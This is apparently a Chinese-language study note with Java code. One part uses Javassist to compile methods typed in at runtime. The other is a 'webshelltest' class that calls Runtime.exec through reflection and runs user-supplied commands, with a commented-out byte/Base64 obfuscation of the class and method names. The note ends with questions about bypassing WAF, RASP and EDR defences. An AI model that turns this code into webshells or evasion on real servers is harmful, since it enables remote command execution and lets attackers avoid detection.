0x01 动态生成类
import javassist.*;
import java.util.Scanner;
public class JavassistTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
Scanner scanner = new Scanner(System.in);
// 获取类名
System.out.print("输入类的名字: ");
String classname = scanner.nextLine();
CtClass ctClass = pool.makeClass(classname);
//"public void Hello() { System.out.println(\"Hello, World!\"); }"
//注意转义
// 获取方法
System.out.print("输入类的方法: ");
String classmethod = scanner.nextLine();
CtMethod method = CtNewMethod.make(classmethod, ctClass);
ctClass.addMethod(method);
//将类加载到JVM
Class<?> clazz = ctClass.toClass();
Object instance = clazz.getDeclaredConstructor().newInstance();
//获取并调用方法
System.out.print("输入方法名: ");
String classmethod_name = scanner.nextLine();
clazz.getMethod(classmethod_name).invoke(instance);
}
}
0x02 加载已有类
import javassist.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.io.IOUtils;
import java.util.Base64;
import java.util.Scanner;
public class webshelltest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Scanner scanner = new Scanner(System.in);
// 获取命令
System.out.print("输入执行的命令: ");
String command = scanner.nextLine();
/*byte[] rtn = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};//java.lang.Runtime
//String javaruntime = "java.lang.Runtime";
String run_base64 = Base64.getEncoder().encodeToString(rtn);
String run = new String(Base64.getDecoder().decode(run_base64));
byte[] b2 = new byte[]{101, 120, 101, 99}; //exec
String cm = new String(b2);*/
String run = "java.lang.Runtime"; // 可以替换为实际的类名
String cm = "exec"; // exec 方法名
try {
// 动态加载类
Class<?> shellClass = Class.forName(run);//加载已有类
Constructor<?> declaredConstructor = shellClass.getDeclaredConstructor();//获取构造器
declaredConstructor.setAccessible(true);//确保构造器可以访问
Object o = declaredConstructor.newInstance();//实例化
// 获取方法
Method exec = shellClass.getMethod(cm, String.class);
Process process = (Process) exec.invoke(o, command);
// 获取进程输出流
InputStream inputStream = process.getInputStream();
String output = IOUtils.toString(inputStream, "gbk");
// 输出命令结果
System.out.println(output);
} catch (Exception e) {
e.printStackTrace(); // 异常处理
}
}
}
PS. exec 方法入参是 单个String []类型,但是实际的入参类型可能多个是 String[](例如ping 1.1.1.1),这里重写了exec方法的签名,或许还可以通过拆分String,再强制类型转换为object。
实际在测试的过程中,有这几个问题:
1、如果是为了绕过waf,是不是应该尝试传参的时候使用base64或者其他的方式加密一下,执行的时候再解密
2、如果是采用这种方式,如何绕过rasp或者edr之类的?感觉绕过这两个靠加解密是不行的。
3、实际环境不太可能有javassist